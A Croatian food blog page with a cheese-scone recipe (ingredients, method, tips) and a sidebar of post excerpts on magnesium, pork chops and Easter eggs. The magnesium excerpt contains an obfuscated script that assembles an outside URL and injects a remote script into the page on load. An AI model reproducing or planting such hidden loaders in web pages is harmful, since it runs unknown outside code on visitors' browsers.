DOMAĆE POGAČICE SA SIROM




Domaće pogačice sa sirom 



Zaboravite na kupovna peciva čiji okus i svježina često razočaraju. Miris domaćih pogačica sa sirom koji se širi kuhinjom jedan je od onih malih životnih užitaka koji nas vraćaju u djetinjstvo. Bilo da ih pripremate za doručak uz jogurt, kao toplu večeru ili slanu grickalicu za druženje s prijateljima, mekane i lisnate pogačice uvijek su pun pogodak.




Domaće pogačice sa sirom 


Sastojci:

  • 500 g glatkog brašna
  • 250 g maslaca, obavezno hladnog, ravno iz hladnjaka
  • 250 g svježeg ili sitnog sira
  • jedno jaje
  • 150 ml jogurta ili mlaćenice za dodatnu sočnost
  • jedna vrećica praška za pecivo
  • jedna čajna žličica soli
  • žumance i malo mlijeka za premazivanje
  • sjemenke po želji: lan, sezam, kim



Priprema:

U velikoj zdjeli najprije pomiješajte suhe sastojke: brašno, sol i prašak za pecivo. Zatim dodajte maslac koji ste narezali na kockice ili, za još bolje rezultate, naribali na krupni ribež. Vrhovima prstiju brzo utrljajte maslac u brašno dok ne dobijete smjesu nalik vlažnim krušnim mrvicama. Ovdje je brzina ključna kako se maslac ne bi ugrijao toplinom ruku.

Nakon toga dodajte svježi sir, jaje i jogurt. Kratko i lagano umijesite tijesto, tek toliko da se svi sastojci povežu u kuglu. Nemojte ga predugo mijesiti jer ćete tako aktivirati gluten, što rezultira žilavim pogačicama. Tijesto zamotajte u prozirnu foliju i ostavite u hladnjaku najmanje jedan sat. Ovaj korak je presudan jer će se maslac ponovno stisnuti, a tijesto će biti lakše za valjanje.

Pećnicu zagrijte na 200 °C. Ohlađeno tijesto razvaljajte na lagano pobrašnjenoj podlozi na debljinu od otprilike dva centimetra. Ako želite pogačice koje su zapravo loptice punjene sirom, otkidajte komade tijesta, spljoštite ih dlanom i u sredinu stavite kockicu tvrdog sira poput cheddara te oblikujte kuglicu. Za klasičan oblik, okruglim kalupom ili čašom izrezujte pogačice i slažite ih na lim za pečenje obložen papirom. Premažite ih smjesom žumanjka i mlijeka te pospite sjemenkama. Pecite ih 15 do 20 minuta, dok ne dobiju lijepu zlatnosmeđu boju.



Mali trikovi za pogačice koje nisu žilave

Da biste izbjegli najčešću pogrešku - tvrdo i zbijeno tijesto - pridržavajte se nekoliko zlatnih pravila. Osim korištenja hladnih sastojaka, ključno je minimalno rukovanje tijestom. Što ga manje mijesite i valjate, to će pogačice biti mekše i rahlije.

Prilikom izrezivanja pogačica kalupom, utisnite ga ravno prema dolje i podignite bez okretanja. Uvijanje kalupa "zatvara" rubove tijesta i sprječava da se pogačice tijekom pečenja pravilno dignu u visinu. Također, nemojte tijesto razvaljati pretanko; debljina od barem dva centimetra osigurava da će krajnji rezultat biti sočan i mekan, a ne suh i tvrd. Visoka temperatura pećnice omogućuje da se pogačice brzo napuhnu prije nego što se maslac u njima potpuno otopi, što stvara onu neodoljivu prozračnost.Poslužite ih tople, idealno s malo maslaca koji se topi na njima, i uživajte u savršenom domaćem zalogaju koji će oduševiti sve prisutne.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više